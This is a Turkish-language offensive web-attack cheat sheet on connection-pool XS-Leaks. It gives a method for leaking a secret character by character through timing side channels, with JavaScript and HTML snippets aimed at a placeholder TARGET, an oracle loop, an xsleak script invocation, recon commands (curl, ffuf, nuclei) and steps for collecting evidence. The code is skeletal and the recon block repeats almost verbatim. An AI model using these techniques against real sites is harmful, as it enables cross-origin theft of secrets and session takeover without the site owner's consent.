Connection Pool by Destination Example

web offensive

Connection Pool by Destination Example web saldırı yüzeyidir. Giriş noktalarını izole edip kanıtlanabilir etki (okuma, yazma, RCE, auth bypass) üretmeye odaklan.

Metodoloji

1. Çapraz origin boolean oracle adayını bul.

2. Timing/error/CSS/connection kanalını kalibre et.

3. Karakter karakter sızıntıyı otomatize et.

4. Sızan secret ile oturum etkisini bağla.

XS-Leak fikri

Çapraz origin’de doğrudan DOM okunamaz; yan kanal ile boolean sızıntı aranır.

const t0 = performance.now(); await frame.load(url); const dt = performance.now()-t0;

<link rel=prerender href='https://TARGET/search?q=secret'>

Connection pool XS-Leak

// socket havuzu tükenince timing farkı

<img src='https://TARGET/slow'>

destination-based pool ile origin ayrımı

Oracle döngüsü

async function oracle(q){ /* timing/error/frame */ return bool }

for (const c of charset) if (await oracle(prefix+c)) prefix+=c

python3 xsleak.py --target https://TARGET/search --param q

Operasyon notları

Connection Pool by Destination Example sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.

Ek komutlar

curl -sk https://TARGET/robots.txt

nuclei -u https://TARGET -as -silent

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

GET / HTTP/1.1
Host: TARGET
Accept: */*

mkdir -p evidence/web && tee evidence/web/notes.txt

Bu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.

Ek keşif komutları

curl -sk https://TARGET/robots.txt

curl -sk https://TARGET/sitemap.xml

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

nuclei -u https://TARGET -as -silent

GET / HTTP/1.1
Host: TARGET
Accept: */*

Kanıt toplama

mkdir -p evidence/web && tee evidence/web/notes.txt

request/response
zaman damgası
kullanılan hesap
etki özeti

curl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html